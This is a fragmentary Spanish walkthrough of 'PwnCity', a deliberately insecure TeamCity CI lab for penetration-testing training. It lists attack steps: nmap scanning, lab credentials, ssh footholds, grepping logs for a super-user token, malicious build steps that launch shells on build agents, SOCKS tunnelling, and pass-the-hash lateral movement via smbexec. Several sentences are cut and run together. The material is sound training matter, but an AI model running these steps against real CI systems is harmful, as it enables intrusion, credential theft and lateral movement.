
Entorno TeamCity CI inseguro para el entrenamiento práctico en pruebas de penetración: reconocimiento, robo de credenciales, escalada de privilegios y movimiento lateral.
Un entorno de integración continua TeamCity configurado de forma insegura.
Trabajo en curso: El código de despliegue llegará pronto eventualmente .

Puede haber más de una ruta a través de PwnCity, pero esta es la que presentaré el 24 de febrero en la reunión del capítulo de OWASP Sacramento.
Nota: Aquí se ignora en gran medida la seguridad operativa, ya que esto es una demo.
nmap -Pn -p- 52.234.0.18.
nmap 52.234.0.18 hace que parezca muerto.nmap -Pn 52.234.0.18.


bob, contraseña bobhacks?.
bob, navega a Projects > SimpleMavenSample > Build > SettingsParameters contiene credenciales.

ssh [email protected] y conéctate por SSH como usuario de bajos privilegios.

Podríamos tunelizar desde nuestro punto de apoyo inicial. Saber que RDP está abierto en dos agentes de compilación nos permitiría intentar autenticarnos con las credenciales que hemos encontrado... pero eso no es tan divertido.
cat /home/dev/TeamCity/TeamCity/logs/teamcity-server.log | grep "Super user".

Administration > Projects > Create project y obtén una shell en los agentes de compilación.

cmd.exe/c %system.teamcity.build.checkoutDir%/launcher.bat
Credenciales elegidas de rockyou.txt.
PwnAgent01 tiene Microsoft Defender habilitado. Aunque ciertamente todavía es posible derrotarlo, el paso de compilación malicioso que demostramos será bloqueado.



Esta sección es solo una colección de fragmentos que fueron útiles al administrar el entorno de laboratorio.
TeamCity para acceder a los recursos locales ssh -D 9050 [email protected].proxychains4 xfreerdp /u:dev /v:10.0.0.6:3389.
... junto a Run en el menú y luego el agente deseado al que te diriges. Si todo va bien, tendrás una devolución de llamada del agente.

powershell/situational_awareness/network/portscan. Descubre que 10.0.0.7 tiene 3389,445,139,135 todos abiertos.

bruno.powershell/lateral_movement/invoke_smbexec para obtener una beacon en Bruno-PC mediante el hash NTML.
